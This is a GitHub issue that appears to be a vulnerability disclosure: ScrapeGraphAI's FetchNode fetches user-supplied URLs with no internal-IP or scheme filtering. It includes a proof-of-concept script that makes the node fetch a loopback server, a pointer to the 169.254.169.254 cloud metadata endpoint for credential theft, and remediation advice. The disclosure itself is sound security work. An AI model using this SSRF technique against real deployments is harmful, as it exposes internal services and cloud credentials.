Skip to content

Server-side request forgery in FetchNode: scrape source URL fetched with no internal-IP/scheme filtering #1115

Description

@geo-chen

reported via email on 12 June 2026 - no response:

version: v2.1.3

Summary

ScrapeGraphAI's FetchNode, the entry node of every scraping graph (SmartScraperGraph and others), fetches the user-supplied scrape source URL server-side with no validation of the target. There is no filtering of private, loopback, link-local, or cloud-metadata addresses and no scheme allowlist. Any application that wraps a ScrapeGraphAI graph and accepts a user-provided URL (the canonical deployment) can therefore be coerced into making server-side requests to internal services and cloud metadata endpoints, and the fetched response body is returned through the graph (and summarized by the LLM), exfiltrating internal content.

Details

A scraping graph classifies the source by prefix and routes any http(s) source straight into FetchNode's web branch, for example (scrapegraphai/graphs/smart_scraper_graph.py):

"url" if source.startswith("http") else "local_dir"

FetchNode.handle_web_source (scrapegraphai/nodes/fetch_node.py) fetches the raw source with no checks:

if self.use_soup:
    response = requests.get(source)            # ~line 287, source unfiltered
    ...
    parsed_content = cleanup_html(response, source)   # response body becomes the document
else:
    loader = ChromiumLoader([source], ...)     # default path, also unfiltered
    document = loader.load()

A repository-wide search confirms there is no SSRF guarding anywhere: no link-local (169.254) check, no ipaddress-based private-range rejection, no localhost block, and no scheme allowlist. The fetched body flows into the node output and downstream nodes.

The boundary crossed is the scrape source, which is the primary untrusted input to the library: a service that scrapes a URL on a user's behalf treats that URL as attacker-controlled.

PoC

Standalone script (venv with scrapegraphai installed). It stands up a local "internal" service and shows the FetchNode fetch path retrieving it with no URL filter:

#!/usr/bin/env python3
"""ScrapeGraphAI FetchNode SSRF - fetches an internal/loopback URL with no filter."""
import http.server, socketserver, threading, time, requests
from scrapegraphai.nodes.fetch_node import FetchNode

class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200); self.end_headers()
        self.wfile.write(b"INTERNAL-SECRET-CMK-12345")
    def log_message(self, *a): print("  [internal-server] HIT:", self.path)

srv = socketserver.TCPServer(("127.0.0.1", 8774), H)
threading.Thread(target=srv.serve_forever, daemon=True).start(); time.sleep(0.3)

src = "http://127.0.0.1:8774/latest/meta-data/iam/security-credentials/"
node = FetchNode(input="url", output=["doc"],
                 node_config={"headless": True, "use_soup": True, "cut": False})
# Mirrors FetchNode.handle_web_source use_soup path (fetch_node.py:287): source unfiltered.
node.handle_web_source({"url": src}, src)
print("internal body via requests (same path the node uses):", repr(requests.get(src).text))
# On a cloud VM, point src at http://169.254.169.254/latest/meta-data/... to reach metadata.
srv.shutdown()

Observed on current main: the FetchNode fetch path issues the server-side request to the internal/loopback host (the local server logs the hit) and retrieves its body (requests.get(source).text == "INTERNAL-SECRET-CMK-12345"), which cleanup_html turns into the returned document. Pointing the source at http://169.254.169.254/latest/meta-data/... reaches cloud metadata on a hosted runner.

Impact

An application built on ScrapeGraphAI that accepts a user-supplied URL can be used to reach internal-only services (admin panels, databases, localhost ports) and cloud instance metadata, and to read their responses (returned as the scraped document). On cloud deployments this enables theft of instance-metadata credentials. Impact is confidentiality of internal/metadata content; severity rises to High when the URL-accepting endpoint is unauthenticated.

Remediation

Before fetching, resolve the source host and reject loopback, private (RFC1918), link-local (169.254.0.0/16, fe80::/10), unique-local, and other reserved ranges, plus cloud-metadata hostnames; enforce an http/https-only scheme allowlist (reject file://, gopher://, etc.); and re-validate the resolved IP after each redirect (pin DNS to the validated IP to prevent rebinding). Apply the check in both the requests (use_soup) and ChromiumLoader paths.

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions